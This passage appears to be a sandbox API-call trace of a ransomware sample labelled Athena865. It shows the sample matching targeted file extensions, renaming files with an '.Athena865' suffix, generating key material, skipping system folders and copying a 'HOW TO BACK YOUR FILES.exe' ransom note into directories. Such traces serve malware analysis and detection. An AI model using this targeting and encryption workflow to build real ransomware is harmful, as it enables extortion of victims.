[0110.983] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0110.983] lstrlenW (lpString="4dd") returned 3 [0110.983] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0110.983] lstrlenW (lpString="4dl") returned 3 [0110.983] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0110.983] lstrlenW (lpString="^^^") returned 3 [0110.983] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0110.983] lstrlenW (lpString="abs") returned 3 [0110.983] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0110.984] lstrlenW (lpString="abx") returned 3 [0110.984] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0110.984] lstrlenW (lpString="accdb") returned 5 [0110.984] lstrcmpiW (lpString1="r.exe", lpString2="accdb") returned 1 [0110.984] lstrlenW (lpString="accdc") returned 5 [0110.984] lstrcmpiW (lpString1="r.exe", lpString2="accdc") returned 1 [0110.984] lstrlenW (lpString="accde") returned 5 [0110.984] lstrcmpiW (lpString1="r.exe", lpString2="accde") returned 1 [0110.984] lstrlenW (lpString="accdr") returned 5 [0110.984] lstrcmpiW (lpString1="r.exe", lpString2="accdr") returned 1 [0110.984] lstrlenW (lpString="accdt") returned 5 [0110.984] lstrcmpiW (lpString1="r.exe", lpString2="accdt") returned 1 [0110.984] lstrlenW (lpString="accdw") returned 5 [0110.984] lstrcmpiW (lpString1="r.exe", lpString2="accdw") returned 1 [0110.984] lstrlenW (lpString="accft") returned 5 [0110.984] lstrcmpiW (lpString1="r.exe", lpString2="accft") returned 1 [0110.984] lstrlenW (lpString="adb") returned 3 [0110.984] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0110.984] lstrlenW (lpString="adb") returned 3 [0110.984] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0110.984] lstrlenW (lpString="ade") returned 3 [0110.984] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0110.984] lstrlenW (lpString="adf") returned 3 [0110.984] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0110.984] lstrlenW (lpString="adn") returned 3 [0110.984] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0110.984] lstrlenW (lpString="adp") returned 3 [0110.984] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0110.984] lstrlenW (lpString="alf") returned 3 [0110.984] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0110.985] lstrlenW (lpString="ask") returned 3 [0110.985] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0110.985] lstrlenW (lpString="btr") returned 3 [0110.985] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0110.985] lstrlenW (lpString="cat") returned 3 [0110.985] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0110.985] lstrlenW (lpString="cdb") returned 3 [0110.985] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0110.985] lstrlenW (lpString="ckp") returned 3 [0110.985] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0110.985] lstrlenW (lpString="cma") returned 3 [0110.985] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0110.985] lstrlenW (lpString="cpd") returned 3 [0110.985] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0110.985] lstrlenW (lpString="dacpac") returned 6 [0110.985] lstrcmpiW (lpString1="or.exe", lpString2="dacpac") returned 1 [0110.985] lstrlenW (lpString="dad") returned 3 [0110.985] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0110.985] lstrlenW (lpString="dadiagrams") returned 10 [0110.985] lstrcmpiW (lpString1="lector.exe", lpString2="dadiagrams") returned 1 [0110.985] lstrlenW (lpString="daschema") returned 8 [0110.985] lstrcmpiW (lpString1="ctor.exe", lpString2="daschema") returned -1 [0110.985] lstrlenW (lpString="db-journal") returned 10 [0110.985] lstrcmpiW (lpString1="lector.exe", lpString2="db-journal") returned 1 [0110.985] lstrlenW (lpString="db-shm") returned 6 [0110.985] lstrcmpiW (lpString1="or.exe", lpString2="db-shm") returned 1 [0110.985] lstrlenW (lpString="db-wal") returned 6 [0110.985] lstrcmpiW (lpString1="or.exe", lpString2="db-wal") returned 1 [0110.985] lstrlenW (lpString="dbc") returned 3 [0110.985] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0110.986] lstrlenW (lpString="dbs") returned 3 [0110.986] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0110.986] lstrlenW (lpString="dbt") returned 3 [0110.986] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0110.986] lstrlenW (lpString="dbv") returned 3 [0110.986] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0110.986] lstrlenW (lpString="dbx") returned 3 [0110.986] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0110.986] lstrlenW (lpString="dcb") returned 3 [0110.986] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0110.986] lstrlenW (lpString="dct") returned 3 [0110.986] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0110.986] lstrlenW (lpString="dcx") returned 3 [0110.986] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0110.986] lstrlenW (lpString="ddl") returned 3 [0110.986] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0110.986] lstrlenW (lpString="dlis") returned 4 [0110.986] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0110.986] lstrlenW (lpString="dp1") returned 3 [0110.986] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0110.986] lstrlenW (lpString="dqy") returned 3 [0110.986] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0110.986] lstrlenW (lpString="dsk") returned 3 [0110.986] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0110.986] lstrlenW (lpString="dsn") returned 3 [0110.986] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0110.986] lstrlenW (lpString="dtsx") returned 4 [0110.986] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0110.986] lstrlenW (lpString="dxl") returned 3 [0110.987] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0110.987] lstrlenW (lpString="eco") returned 3 [0110.987] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0110.987] lstrlenW (lpString="ecx") returned 3 [0110.987] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0110.987] lstrlenW (lpString="edb") returned 3 [0110.987] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0110.987] lstrlenW (lpString="epim") returned 4 [0110.987] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0110.987] lstrlenW (lpString="fcd") returned 3 [0110.987] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0110.987] lstrlenW (lpString="fdb") returned 3 [0110.987] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0110.987] lstrlenW (lpString="fic") returned 3 [0110.987] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0110.987] lstrlenW (lpString="flexolibrary") returned 12 [0110.987] lstrcmpiW (lpString1="ollector.exe", lpString2="flexolibrary") returned 1 [0110.987] lstrlenW (lpString="fm5") returned 3 [0110.987] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0110.987] lstrlenW (lpString="fmp") returned 3 [0110.987] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0110.987] lstrlenW (lpString="fmp12") returned 5 [0110.987] lstrcmpiW (lpString1="r.exe", lpString2="fmp12") returned 1 [0110.987] lstrlenW (lpString="fmpsl") returned 5 [0110.987] lstrcmpiW (lpString1="r.exe", lpString2="fmpsl") returned 1 [0110.987] lstrlenW (lpString="fol") returned 3 [0110.987] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0110.987] lstrlenW (lpString="fp3") returned 3 [0110.987] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0110.988] lstrlenW (lpString="fp4") returned 3 [0110.988] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0110.988] lstrlenW (lpString="fp5") returned 3 [0110.988] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0110.988] lstrlenW (lpString="fp7") returned 3 [0110.988] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0110.988] lstrlenW (lpString="fpt") returned 3 [0110.988] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0110.988] lstrlenW (lpString="frm") returned 3 [0110.988] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0110.988] lstrlenW (lpString="gdb") returned 3 [0110.988] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0110.988] lstrlenW (lpString="gdb") returned 3 [0110.988] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0110.988] lstrlenW (lpString="grdb") returned 4 [0110.988] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0110.988] lstrlenW (lpString="gwi") returned 3 [0110.988] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0110.988] lstrlenW (lpString="hdb") returned 3 [0110.988] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0110.988] lstrlenW (lpString="his") returned 3 [0110.988] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0110.988] lstrlenW (lpString="ib") returned 2 [0110.988] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0110.988] lstrlenW (lpString="idb") returned 3 [0110.988] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0110.988] lstrlenW (lpString="ihx") returned 3 [0110.988] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0110.988] lstrlenW (lpString="itdb") returned 4 [0110.988] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0110.989] lstrlenW (lpString="itw") returned 3 [0110.989] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0110.989] lstrlenW (lpString="jet") returned 3 [0110.989] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0110.989] lstrlenW (lpString="jtx") returned 3 [0110.989] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0110.989] lstrlenW (lpString="kdb") returned 3 [0110.989] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0110.989] lstrlenW (lpString="kexi") returned 4 [0110.989] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0110.989] lstrlenW (lpString="kexic") returned 5 [0110.989] lstrcmpiW (lpString1="r.exe", lpString2="kexic") returned 1 [0110.989] lstrlenW (lpString="kexis") returned 5 [0110.989] lstrcmpiW (lpString1="r.exe", lpString2="kexis") returned 1 [0110.989] lstrlenW (lpString="lgc") returned 3 [0110.989] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0110.989] lstrlenW (lpString="lwx") returned 3 [0110.989] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0110.989] lstrlenW (lpString="maf") returned 3 [0110.989] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0110.989] lstrlenW (lpString="maq") returned 3 [0110.989] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0110.989] lstrlenW (lpString="mar") returned 3 [0110.989] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0110.989] lstrlenW (lpString="marshal") returned 7 [0110.989] lstrcmpiW (lpString1="tor.exe", lpString2="marshal") returned 1 [0110.989] lstrlenW (lpString="mas") returned 3 [0110.989] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0110.989] lstrlenW (lpString="mav") returned 3 [0110.990] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0110.990] lstrlenW (lpString="maw") returned 3 [0110.990] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0110.990] lstrlenW (lpString="mdbhtml") returned 7 [0110.990] lstrcmpiW (lpString1="tor.exe", lpString2="mdbhtml") returned 1 [0110.990] lstrlenW (lpString="mdn") returned 3 [0110.990] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0110.990] lstrlenW (lpString="mdt") returned 3 [0110.990] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0110.990] lstrlenW (lpString="mfd") returned 3 [0110.990] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0110.990] lstrlenW (lpString="mpd") returned 3 [0110.990] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0110.990] lstrlenW (lpString="mrg") returned 3 [0110.990] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0110.990] lstrlenW (lpString="mud") returned 3 [0110.990] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0110.990] lstrlenW (lpString="mwb") returned 3 [0110.990] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0110.990] lstrlenW (lpString="myd") returned 3 [0110.990] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0110.990] lstrlenW (lpString="ndf") returned 3 [0110.990] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0110.990] lstrlenW (lpString="nnt") returned 3 [0110.990] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0110.990] lstrlenW (lpString="nrmlib") returned 6 [0110.990] lstrcmpiW (lpString1="or.exe", lpString2="nrmlib") returned 1 [0110.990] lstrlenW (lpString="ns2") returned 3 [0110.990] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0110.990] lstrlenW (lpString="ns3") returned 3 [0110.991] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0110.991] lstrlenW (lpString="ns4") returned 3 [0110.991] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0110.991] lstrlenW (lpString="nsf") returned 3 [0110.991] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0110.991] lstrlenW (lpString="nv") returned 2 [0110.991] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0110.991] lstrlenW (lpString="nv2") returned 3 [0110.991] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0110.991] lstrlenW (lpString="nwdb") returned 4 [0110.991] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0110.991] lstrlenW (lpString="nyf") returned 3 [0110.991] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0110.991] lstrlenW (lpString="odb") returned 3 [0110.991] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0110.991] lstrlenW (lpString="odb") returned 3 [0110.991] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0110.991] lstrlenW (lpString="oqy") returned 3 [0110.991] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0110.991] lstrlenW (lpString="ora") returned 3 [0110.991] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0110.991] lstrlenW (lpString="orx") returned 3 [0110.991] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0110.991] lstrlenW (lpString="owc") returned 3 [0110.991] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0110.991] lstrlenW (lpString="p96") returned 3 [0110.991] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0110.991] lstrlenW (lpString="p97") returned 3 [0110.991] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0110.991] lstrlenW (lpString="pan") returned 3 [0110.992] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0110.992] lstrlenW (lpString="pdb") returned 3 [0110.992] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0110.992] lstrlenW (lpString="pdm") returned 3 [0110.992] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0110.992] lstrlenW (lpString="pnz") returned 3 [0110.992] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0110.992] lstrlenW (lpString="qry") returned 3 [0110.992] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0110.992] lstrlenW (lpString="qvd") returned 3 [0110.992] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0110.992] lstrlenW (lpString="rbf") returned 3 [0110.992] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0110.992] lstrlenW (lpString="rctd") returned 4 [0110.992] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0110.992] lstrlenW (lpString="rod") returned 3 [0110.992] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0110.992] lstrlenW (lpString="rodx") returned 4 [0110.992] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0110.992] lstrlenW (lpString="rpd") returned 3 [0110.992] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0110.992] lstrlenW (lpString="rsd") returned 3 [0110.992] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0110.992] lstrlenW (lpString="sas7bdat") returned 8 [0110.992] lstrcmpiW (lpString1="ctor.exe", lpString2="sas7bdat") returned -1 [0110.992] lstrlenW (lpString="sbf") returned 3 [0110.992] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0110.992] lstrlenW (lpString="scx") returned 3 [0110.992] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0110.992] lstrlenW (lpString="sdb") returned 3 [0110.993] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0110.993] lstrlenW (lpString="sdc") returned 3 [0110.993] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0110.993] lstrlenW (lpString="sdf") returned 3 [0110.993] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0110.993] lstrlenW (lpString="sis") returned 3 [0110.993] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0110.993] lstrlenW (lpString="spq") returned 3 [0110.993] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0110.993] lstrlenW (lpString="te") returned 2 [0110.993] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0110.993] lstrlenW (lpString="teacher") returned 7 [0110.993] lstrcmpiW (lpString1="tor.exe", lpString2="teacher") returned 1 [0110.993] lstrlenW (lpString="tmd") returned 3 [0110.993] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0110.993] lstrlenW (lpString="tps") returned 3 [0110.993] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0110.993] lstrlenW (lpString="trc") returned 3 [0110.993] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0110.993] lstrlenW (lpString="trc") returned 3 [0110.993] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0110.993] lstrlenW (lpString="trm") returned 3 [0110.993] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0110.993] lstrlenW (lpString="udb") returned 3 [0110.993] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0110.993] lstrlenW (lpString="udl") returned 3 [0110.993] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0110.993] lstrlenW (lpString="usr") returned 3 [0110.993] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0110.993] lstrlenW (lpString="v12") returned 3 [0110.994] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0110.994] lstrlenW (lpString="vis") returned 3 [0110.994] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0110.994] lstrlenW (lpString="vpd") returned 3 [0110.994] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0110.994] lstrlenW (lpString="vvv") returned 3 [0110.994] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0110.994] lstrlenW (lpString="wdb") returned 3 [0110.994] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0110.994] lstrlenW (lpString="wmdb") returned 4 [0110.994] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0110.994] lstrlenW (lpString="wrk") returned 3 [0110.994] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0110.994] lstrlenW (lpString="xdb") returned 3 [0110.994] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0110.994] lstrlenW (lpString="xld") returned 3 [0110.994] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0110.994] lstrlenW (lpString="xmlff") returned 5 [0110.994] lstrcmpiW (lpString1="r.exe", lpString2="xmlff") returned -1 [0110.994] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe.Athena865") returned 79 [0110.994] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe.athena865"), dwFlags=0x1) returned 1 [0111.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0111.001] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=695296) returned 1 [0111.002] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0111.002] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0111.002] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0111.002] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa9f00, lpName=0x0) returned 0x17c [0111.005] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa9f00) returned 0x2d50000 [0111.052] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0111.052] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0111.052] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0111.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0111.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0111.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0111.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0111.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0111.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0111.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0111.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0111.053] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0111.067] CloseHandle (hObject=0x17c) returned 1 [0111.067] CloseHandle (hObject=0x154) returned 1 [0111.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0111.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0111.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0111.071] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0111.071] lstrcmpiW (lpString1="sk-SK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0111.071] lstrcmpiW (lpString1="sk-SK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0111.071] lstrcmpiW (lpString1="sk-SK", lpString2=".") returned 1 [0111.071] lstrcmpiW (lpString1="sk-SK", lpString2="..") returned 1 [0111.071] lstrcmpiW (lpString1="sk-SK", lpString2="windows") returned -1 [0111.071] lstrcmpiW (lpString1="sk-SK", lpString2="bootmgr") returned 1 [0111.071] lstrcmpiW (lpString1="sk-SK", lpString2="temp") returned -1 [0111.071] lstrcmpiW (lpString1="sk-SK", lpString2="pagefile.sys") returned 1 [0111.071] lstrcmpiW (lpString1="sk-SK", lpString2="boot") returned 1 [0111.071] lstrcmpiW (lpString1="sk-SK", lpString2="ids.txt") returned 1 [0111.071] lstrcmpiW (lpString1="sk-SK", lpString2="ntuser.dat") returned 1 [0111.071] lstrcmpiW (lpString1="sk-SK", lpString2="perflogs") returned 1 [0111.071] lstrcmpiW (lpString1="sk-SK", lpString2="MSBuild") returned 1 [0111.071] lstrlenW (lpString="sk-SK") returned 5 [0111.071] lstrcpyW (in: lpString1=0x241e8ae, lpString2="sk-SK" | out: lpString1="sk-SK") returned="sk-SK" [0111.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547828 [0111.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53c0a0 [0111.071] lstrcatW (in: lpString1="sk-SK", lpString2="\\" | out: lpString1="sk-SK\\") returned="sk-SK\\" [0111.071] lstrcatW (in: lpString1="sk-SK\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="sk-SK\\HOW TO BACK YOUR FILES.exe") returned="sk-SK\\HOW TO BACK YOUR FILES.exe" [0111.071] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\how to back your files.exe"), bFailIfExists=1) returned 1 [0111.075] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0111.075] lstrcmpiW (lpString1="sl-SI", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0111.075] lstrcmpiW (lpString1="sl-SI", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0111.075] lstrcmpiW (lpString1="sl-SI", lpString2=".") returned 1 [0111.075] lstrcmpiW (lpString1="sl-SI", lpString2="..") returned 1 [0111.075] lstrcmpiW (lpString1="sl-SI", lpString2="windows") returned -1 [0111.075] lstrcmpiW (lpString1="sl-SI", lpString2="bootmgr") returned 1 [0111.075] lstrcmpiW (lpString1="sl-SI", lpString2="temp") returned -1 [0111.075] lstrcmpiW (lpString1="sl-SI", lpString2="pagefile.sys") returned 1 [0111.075] lstrcmpiW (lpString1="sl-SI", lpString2="boot") returned 1 [0111.075] lstrcmpiW (lpString1="sl-SI", lpString2="ids.txt") returned 1 [0111.075] lstrcmpiW (lpString1="sl-SI", lpString2="ntuser.dat") returned 1 [0111.075] lstrcmpiW (lpString1="sl-SI", lpString2="perflogs") returned 1 [0111.075] lstrcmpiW (lpString1="sl-SI", lpString2="MSBuild") returned 1 [0111.075] lstrlenW (lpString="sl-SI") returned 5 [0111.075] lstrcpyW (in: lpString1=0x241e8ae, lpString2="sl-SI" | out: lpString1="sl-SI") returned="sl-SI" [0111.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547840 [0111.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53c120 [0111.075] lstrcatW (in: lpString1="sl-SI", lpString2="\\" | out: lpString1="sl-SI\\") returned="sl-SI\\" [0111.075] lstrcatW (in: lpString1="sl-SI\\", lpString2="HOW TO BACK YOUR FILES.exe" | 